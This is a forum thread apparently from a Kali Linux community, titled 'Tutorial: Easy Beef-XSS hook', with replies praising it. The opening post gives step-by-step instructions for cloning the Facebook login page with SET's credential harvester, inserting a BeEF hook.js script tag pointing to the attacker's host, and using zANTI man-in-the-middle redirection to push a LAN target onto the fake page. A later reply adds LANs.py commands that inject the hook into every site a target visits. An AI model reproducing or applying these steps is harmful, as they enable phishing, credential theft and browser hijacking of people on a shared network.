Tutorial: Easy Beef-XSS hook

**unknownpwn** · 2014-12-19

Hi all, just wanted to share something I found useful while pentesting my devices at home, hooking a browser with beef-xss and getting login credentials at the same time.

Start off by starting SET (Kalimenu -> 6 -> 3 ), then choose options 1, 2, 3, 2 (Credential harvester method) and enter your IP address. Next, choose option 2 and clone a site with a login, I chose for example facebook.

Next you need to chmod index.html to 755 so people can access your webpage

Code:

chmod 755 /var/www/index.html

.

Next we'll inject the hook.js code into the index.html file. insert the following after <head> and before </head> .

Code:

 <script type="text/javascript" src="http://<youripaddress>:3000/hook.js"></script>

Now is a good time to start up your apache server and launch beef-xss (Kalimenu -> 6 -> 2) and log in to the beef-xss web ui.

Next we'll start zANTI on your NetHunter device and scan the network. Target the computer you want to hook in the list by clicking on it and then going to "Man in the Middle".
Press the cogwheel next to "Redirect HTTP" and enter the IP of your device running beef-xss, then enable it. Finally press "on" in the top right corner to enable MITM.

If you try accessing the internet from the attacked computer now it should automatically load up your fake facebook-site (or whichever site you chose) and the browser should be hooked in beef-xss for further exploits.

Thanks for reading. And please let me know if there's any errors or if there's any improvements that can be made

**ping** · 2014-12-19

what do you mean by " insert the following after [head] somewhere."

**unknownpwn** · 2014-12-19

Originally Posted by ping

what do you mean by " insert the following after [head] somewhere."

Insert the code in between the <head> tags (eg, after <head> and before </head> in index.html

**ping** · 2014-12-20

Originally Posted by unknownpwn

Insert the code in between the <head> tags (eg, after <head> and before </head> in index.html

ok thank you.

**C1M7** · 2014-12-20

That's actually really creative. Great tutorial.

**unknownpwn** · 2014-12-20

Originally Posted by C1M7

That's actually really creative. Great tutorial.

Thank you very much

**soluck9x** · 2014-12-23

This is a really great tutorial, thanks a lot!

**localhost** · 2015-03-18

Check out LANs.py on github works like...

./LANs.py -h [For help]
./LANs.py -b http://192.168.0.x:3000/hook.js [ Replace the LAN IP with whatever the network IP is that your given from the router will then should do a scan using nbtscan might need to apt-get install nbtscan pick target ctrl+c type the targets ip in from there it will inject the hook.js into every website the target go's to ]

**tktmj** · 2015-03-20

That's great. Thanks your sharing

**thanhtung** · 2015-03-26

a great share
Thank you very much

**grid** · 2016-01-08

Thanks very much, unknownpwn.

**soluck9x** · 2016-01-11

The tutorial is just wonderful
Works for me now,thanks again!

Thread: Tutorial: Easy Beef-XSS hook

Thread Tools

Search Thread

Display

Tutorial: Easy Beef-XSS hook

Similar Threads

BeEF how to hook

How do I hook up a midi keyboard to kali?

Posting Permissions